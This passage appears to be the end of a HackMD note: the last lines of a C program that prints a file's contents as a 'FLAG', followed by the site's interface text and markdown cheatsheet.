fp); printf("readed: %ld\n", cnt); fclose(fp); printf("FLAG:\n %s\n", buffer); return 0; } ```

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully